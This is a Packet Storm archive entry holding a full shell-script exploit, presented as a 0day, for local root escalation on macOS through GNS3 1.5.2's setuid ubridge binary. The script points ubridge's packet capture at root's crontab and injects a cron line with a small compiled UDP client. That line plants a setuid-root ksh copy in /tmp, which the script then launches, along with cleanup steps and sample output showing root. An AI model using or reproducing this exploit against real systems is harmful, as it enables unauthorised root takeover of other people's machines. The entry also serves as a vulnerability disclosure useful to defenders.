GNS3 Mac OS-X 1.5.2 ubridge Privilege Escalation

2017-04-14T00:00:00
ID PACKETSTORM:142141
Type packetstorm
Reporter Hacker Fantastic
Modified 2017-04-14T00:00:00

Description

                                        
                                            `#!/bin/sh  
# GNS-3 Mac OS-X LPE local root exploit  
# =====================================  
# GNS-3 on OS-X bundles the "ubridge" binary as a setuid  
# root file. This file can be used to read arbitary files  
# using "-f" arguement but also as it runs as root can also  
# write arbitrary files with "pcap_file" arguement within  
# configuration ini file. It is possible to abuse this utility  
# to also write arbitary contents by bridging a UDP tunnel  
# and writing to disk. We can exploit these mishaps to gain  
# root privileges on a host that has GNS-3 installed by  
# writing a malicious crontab entry and escalating privileges.  
# This exploit takes advantage of this flaw to overwrite  
# root crontab with our own entry and to spawn a root shell.  
# Don't forget to clean up in /usr/lib/spool/tabs and /tmp  
# after running. Tested on GNS-3 version 1.5.2. The root user  
# must have a crontab installed (even an empty one set with  
# crontab -e) or the box rebooted after first attempt to get   
# commands to execute with this cron method.  
#  
# $ ./gns3super-osx.sh   
# [+] GNS-3 Mac OS-X local root LPE exploit 0day  
# [-] creating ubridge.ini file...  
# [-] Launching ubridge..  
# [-] Preparing cron script...  
# Parsing prdelka  
# Creating UDP tunnel 40000:127.0.0.1:40001  
# Creating UDP tunnel 50000:127.0.0.1:50001  
# Starting packet capture to /usr/lib/cron/tabs/root with protocol (null)  
# unknown link type (null), assuming Ethernet.  
# Capturing to file '/usr/lib/cron/tabs/root'  
# Source NIO listener thread for prdelka has started  
# Destination NIO listener thread for prdelka has started  
# [-] making magic packet client...  
# [-] packet fired  
# [-] Waiting a minute for the exploit magic...  
# -rwsr-xr-x 1 root wheel 1377872 Apr 12 23:32 /tmp/pdkhax  
# [-] Got Root?  
# # id  
# uid=501(hackerfantastic) gid=20(staff) euid=0(root)  
#   
# -- Hacker Fantastic (www.myhackerhouse.com)  
echo "[+] GNS-3 Mac OS-X local root LPE exploit 0day"  
echo "[-] creating ubridge.ini file..."  
cat > ubridge.ini << EOF  
[prdelka]  
source_udp = 40000:127.0.0.1:40001  
destination_udp = 50000:127.0.0.1:50001  
pcap_file = "/usr/lib/cron/tabs/root"  
EOF  
echo "[-] Launching ubridge.."  
/Applications/GNS3.app/Contents/Resources/ubridge &  
echo "[-] Preparing cron script..."  
cat > /tmp/pdk.sh << EOF  
cp /bin/ksh /tmp/pdkhax  
chown 0:0 /tmp/pdkhax  
chmod 4755 /tmp/pdkhax  
EOF  
chmod 755 /tmp/pdk.sh  
echo "[-] making magic packet client..."  
cat > udphax.c << EOF  
#include <stdio.h>   
#include <string.h>   
#include <stdlib.h>   
#include <arpa/inet.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
  
int main(int argc, char* argv[]) {  
struct sockaddr_in si_other, srcaddr;  
int s, i, slen=sizeof(si_other);  
char* pkt = "\n* * * * * /tmp/pdk.sh\n\n";  
s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);  
memset((char *) &si_other, 0, sizeof(si_other));  
si_other.sin_family = AF_INET;  
si_other.sin_port = htons(50000);  
inet_aton("127.0.0.1", &si_other.sin_addr);  
srcaddr.sin_family = AF_INET;  
srcaddr.sin_addr.s_addr = htonl(INADDR_ANY);  
srcaddr.sin_port = htons(50001);  
bind(s,(struct sockaddr *) &srcaddr, sizeof(srcaddr));  
sendto(s,pkt,strlen(pkt),0,(struct sockaddr *)&si_other, slen);  
printf("[-] packet fired\n");  
}  
EOF  
gcc udphax.c -o udphax  
./udphax  
echo "[-] Waiting a minute for the exploit magic..."  
rm -rf udphax* ubridge.ini  
pkill ubridge  
sleep 60  
rm -rf /tmp/pdk.sh  
ls -al /tmp/pdkhax  
echo "[-] Got Root?"  
/tmp/pdkhax  
  
`